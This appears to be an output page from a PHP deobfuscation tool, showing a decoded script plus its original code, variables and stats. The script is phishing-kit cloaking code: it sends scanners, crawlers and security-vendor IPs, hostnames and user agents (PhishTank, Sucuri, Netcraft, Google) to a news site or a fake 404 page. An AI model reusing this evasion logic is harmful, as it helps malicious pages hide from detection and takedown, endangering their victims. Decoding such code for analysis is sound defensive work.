Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $c28dd9c=$_SERVER['REMOTE_ADDR']; $c97e57ec=array("^66.102.*.*","^38.1..

Decoded Output download

<?php 
 
 
 
 
 
$c28dd9c=$_SERVER['REMOTE_ADDR']; 
 
$c97e57ec=array("^66.102.*.*","^38.100.*.*","^185.187.*.*","^185.187.30.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^173.239.*.*","^173.244.36.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*","173.239.240.147", 
 
"103.248.172.42", 
 
"69.25.58.61", 
 
"185.187.30.13", 
 
"178.24.121.188", 
 
"87.113.96.90", 
 
"165.227.0.128", 
 
"185.229.190.140",  
 
"165.227.0.128",  
 
"46.101.94.163",  
 
"165.227.39.194", 
 
"87.113.96.90", 
 
"46.101.119.24", 
 
"82.102.27.75",  
 
"173.239.230.97",  
 
"82.102.27.75",  
 
"87.113.96.90",  
 
"46.101.119.24",  
 
"173.239.230.97",  
 
"87.113.96.90",  
 
"87.113.96.90",  
 
"159.203.0.156",  
 
"162.243.187.126", 
 
"82.102.27.75",  
 
"87.113.96.90", 
 
"103.248.172.42",  
 
"103.248.172.42",  
 
"47.30.133.89",  
 
"103.248.172.42" 
 
);if(in_array($c28dd9c,$c97e57ec)){exit(header('Location: https://www.mediapart.fr/'));}else{foreach($c97e57ec as $a4ade){if(preg_match('/'.$a4ade.'/',$c28dd9c)){header('Location: https://www.mediapart.fr/');echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}}$e5bd3f5f=gethostbyaddr($c28dd9c);$f6650d6e=array("drweb","hostinger","scanurl","above","google","Dr.Web","facebook","softlayer","amazonaws","cyveillance","dreamhost","netpilot","calyxinstitute","tor-exit","phishtank","msnbot","p3pwgdsn","netcraft","trendmicro","ebay","paypal","torservers","messagelabs","sucuri.net","crawler");foreach($f6650d6e as $e540ca){if(substr_count($e5bd3f5f,$e540ca)>0){header('Location: https://www.mediapart.fr/');echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}if(!empty($_SERVER['HTTP_USER_AGENT'])){$c3d1b=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");foreach($c3d1b as $cef6a){if(strpos($_SERVER['HTTP_USER_AGENT'],$cef6a)!==false){exit(header('Location: https://www.mediapart.fr/'));}}}?>

Did this file decode correctly?

Original Code

<?php





$c28dd9c=$_SERVER['REMOTE_ADDR'];

$c97e57ec=array("^66.102.*.*","^38.100.*.*","^185.187.*.*","^185.187.30.*","^107.170.*.*","^149.20.*.*","^38.105.*.*","^173.239.*.*","^173.244.36.*","^74.125.*.*","^66.150.14.*","^54.176.*.*","^38.100.*.*","^184.173.*.*","^66.249.*.*","^128.242.*.*","^72.14.192.*","^208.65.144.*","^74.125.*.*","^209.85.128.*","^216.239.32.*","^74.125.*.*","^207.126.144.*","^173.194.*.*","^64.233.160.*","^72.14.192.*","^66.102.*.*","^64.18.*.*","^194.52.68.*","^194.72.238.*","^62.116.207.*","^212.50.193.*","^69.65.*.*","^50.7.*.*","^131.212.*.*","^46.116.*.* ","^62.90.*.*","^89.138.*.*","^82.166.*.*","^85.64.*.*","^85.250.*.*","^89.138.*.*","^93.172.*.*","^109.186.*.*","^194.90.*.*","^212.29.192.*","^212.29.224.*","^212.143.*.*","^212.150.*.*","^212.235.*.*","^217.132.*.*","^50.97.*.*","^217.132.*.*","^209.85.*.*","^66.205.64.*","^204.14.48.*","^64.27.2.*","^67.15.*.*","^202.108.252.*","^193.47.80.*","^64.62.136.*","^66.221.*.*","^64.62.175.*","^198.54.*.*","^192.115.134.*","^216.252.167.*","^193.253.199.*","^69.61.12.*","^64.37.103.*","^38.144.36.*","^64.124.14.*","^206.28.72.*","^209.73.228.*","^158.108.*.*","^168.188.*.*","^66.207.120.*","^167.24.*.*","^192.118.48.*","^67.209.128.*","^12.148.209.*","^12.148.196.*","^193.220.178.*","68.65.53.71","^198.25.*.*","^64.106.213.*","173.239.240.147",

"103.248.172.42",

"69.25.58.61",

"185.187.30.13",

"178.24.121.188",

"87.113.96.90",

"165.227.0.128",

"185.229.190.140", 

"165.227.0.128", 

"46.101.94.163", 

"165.227.39.194",

"87.113.96.90",

"46.101.119.24",

"82.102.27.75", 

"173.239.230.97", 

"82.102.27.75", 

"87.113.96.90", 

"46.101.119.24", 

"173.239.230.97", 

"87.113.96.90", 

"87.113.96.90", 

"159.203.0.156", 

"162.243.187.126",

"82.102.27.75", 

"87.113.96.90",

"103.248.172.42", 

"103.248.172.42", 

"47.30.133.89", 

"103.248.172.42"

);if(in_array($c28dd9c,$c97e57ec)){exit(header('Location: https://www.mediapart.fr/'));}else{foreach($c97e57ec as $a4ade){if(preg_match('/'.$a4ade.'/',$c28dd9c)){header('Location: https://www.mediapart.fr/');echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}}$e5bd3f5f=gethostbyaddr($c28dd9c);$f6650d6e=array("drweb","hostinger","scanurl","above","google","Dr.Web","facebook","softlayer","amazonaws","cyveillance","dreamhost","netpilot","calyxinstitute","tor-exit","phishtank","msnbot","p3pwgdsn","netcraft","trendmicro","ebay","paypal","torservers","messagelabs","sucuri.net","crawler");foreach($f6650d6e as $e540ca){if(substr_count($e5bd3f5f,$e540ca)>0){header('Location: https://www.mediapart.fr/');echo("<h1>404 Not Found</h1>The page that you have requested could not be found.");}}if(!empty($_SERVER['HTTP_USER_AGENT'])){$c3d1b=array("Google","Slurp","MSNBot","ia_archiver","Yandex","Rambler");foreach($c3d1b as $cef6a){if(strpos($_SERVER['HTTP_USER_AGENT'],$cef6a)!==false){exit(header('Location: https://www.mediapart.fr/'));}}}?>

Function Calls

in_array 1

Variables

$c28dd9c None
$c97e57ec [{'key': 0, 'value': '^66.102.*.*'}, {'key': 1, 'value': '^38.100.*.*'}, {'key': 2, 'value': '^185.187.*.*'}, {'key': 3, 'value': '^185.187.30.*'}, {'key': 4, 'value': '^107.170.*.*'}, {'key': 5, 'value': '^149.20.*.*'}, {'key': 6, 'value': '^38.105.*.*'}, {'key': 7, 'value': '^173.239.*.*'}, {'key': 8, 'value': '^173.244.36.*'}, {'key': 9, 'value': '^74.125.*.*'}, {'key': 10, 'value': '^66.150.14.*'}, {'key': 11, 'value': '^54.176.*.*'}, {'key': 12, 'value': '^38.100.*.*'}, {'key': 13, 'value': '^184.173.*.*'}, {'key': 14, 'value': '^66.249.*.*'}, {'key': 15, 'value': '^128.242.*.*'}, {'key': 16, 'value': '^72.14.192.*'}, {'key': 17, 'value': '^208.65.144.*'}, {'key': 18, 'value': '^74.125.*.*'}, {'key': 19, 'value': '^209.85.128.*'}, {'key': 20, 'value': '^216.239.32.*'}, {'key': 21, 'value': '^74.125.*.*'}, {'key': 22, 'value': '^207.126.144.*'}, {'key': 23, 'value': '^173.194.*.*'}, {'key': 24, 'value': '^64.233.160.*'}, {'key': 25, 'value': '^72.14.192.*'}, {'key': 26, 'value': '^66.102.*.*'}, {'key': 27, 'value': '^64.18.*.*'}, {'key': 28, 'value': '^194.52.68.*'}, {'key': 29, 'value': '^194.72.238.*'}, {'key': 30, 'value': '^62.116.207.*'}, {'key': 31, 'value': '^212.50.193.*'}, {'key': 32, 'value': '^69.65.*.*'}, {'key': 33, 'value': '^50.7.*.*'}, {'key': 34, 'value': '^131.212.*.*'}, {'key': 35, 'value': '^46.116.*.* '}, {'key': 36, 'value': '^62.90.*.*'}, {'key': 37, 'value': '^89.138.*.*'}, {'key': 38, 'value': '^82.166.*.*'}, {'key': 39, 'value': '^85.64.*.*'}, {'key': 40, 'value': '^85.250.*.*'}, {'key': 41, 'value': '^89.138.*.*'}, {'key': 42, 'value': '^93.172.*.*'}, {'key': 43, 'value': '^109.186.*.*'}, {'key': 44, 'value': '^194.90.*.*'}, {'key': 45, 'value': '^212.29.192.*'}, {'key': 46, 'value': '^212.29.224.*'}, {'key': 47, 'value': '^212.143.*.*'}, {'key': 48, 'value': '^212.150.*.*'}, {'key': 49, 'value': '^212.235.*.*'}, {'key': 50, 'value': '^217.132.*.*'}, {'key': 51, 'value': '^50.97.*.*'}, {'key': 52, 'value': '^217.132.*.*'}, {'key': 53, 'value': '^209.85.*.*'}, {'key': 54, 'value': '^66.205.64.*'}, {'key': 55, 'value': '^204.14.48.*'}, {'key': 56, 'value': '^64.27.2.*'}, {'key': 57, 'value': '^67.15.*.*'}, {'key': 58, 'value': '^202.108.252.*'}, {'key': 59, 'value': '^193.47.80.*'}, {'key': 60, 'value': '^64.62.136.*'}, {'key': 61, 'value': '^66.221.*.*'}, {'key': 62, 'value': '^64.62.175.*'}, {'key': 63, 'value': '^198.54.*.*'}, {'key': 64, 'value': '^192.115.134.*'}, {'key': 65, 'value': '^216.252.167.*'}, {'key': 66, 'value': '^193.253.199.*'}, {'key': 67, 'value': '^69.61.12.*'}, {'key': 68, 'value': '^64.37.103.*'}, {'key': 69, 'value': '^38.144.36.*'}, {'key': 70, 'value': '^64.124.14.*'}, {'key': 71, 'value': '^206.28.72.*'}, {'key': 72, 'value': '^209.73.228.*'}, {'key': 73, 'value': '^158.108.*.*'}, {'key': 74, 'value': '^168.188.*.*'}, {'key': 75, 'value': '^66.207.120.*'}, {'key': 76, 'value': '^167.24.*.*'}, {'key': 77, 'value': '^192.118.48.*'}, {'key': 78, 'value': '^67.209.128.*'}, {'key': 79, 'value': '^12.148.209.*'}, {'key': 80, 'value': '^12.148.196.*'}, {'key': 81, 'value': '^193.220.178.*'}, {'key': 82, 'value': '68.65.53.71'}, {'key': 83, 'value': '^198.25.*.*'}, {'key': 84, 'value': '^64.106.213.*'}, {'key': 85, 'value': '173.239.240.147'}, {'key': 86, 'value': '103.248.172.42'}, {'key': 87, 'value': '69.25.58.61'}, {'key': 88, 'value': '185.187.30.13'}, {'key': 89, 'value': '178.24.121.188'}, {'key': 90, 'value': '87.113.96.90'}, {'key': 91, 'value': '165.227.0.128'}, {'key': 92, 'value': '185.229.190.140'}, {'key': 93, 'value': '165.227.0.128'}, {'key': 94, 'value': '46.101.94.163'}, {'key': 95, 'value': '165.227.39.194'}, {'key': 96, 'value': '87.113.96.90'}, {'key': 97, 'value': '46.101.119.24'}, {'key': 98, 'value': '82.102.27.75'}, {'key': 99, 'value': '173.239.230.97'}, {'key': 100, 'value': '82.102.27.75'}, {'key': 101, 'value': '87.113.96.90'}, {'key': 102, 'value': '46.101.119.24'}, {'key': 103, 'value': '173.239.230.97'}, {'key': 104, 'value': '87.113.96.90'}, {'key': 105, 'value': '87.113.96.90'}, {'key': 106, 'value': '159.203.0.156'}, {'key': 107, 'value': '162.243.187.126'}, {'key': 108, 'value': '82.102.27.75'}, {'key': 109, 'value': '87.113.96.90'}, {'key': 110, 'value': '103.248.172.42'}, {'key': 111, 'value': '103.248.172.42'}, {'key': 112, 'value': '47.30.133.89'}, {'key': 113, 'value': '103.248.172.42'}]

Stats

MD5 8a15448a64a6b53377ec38b0b92b6311
Eval Count 0
Decode Time 60 ms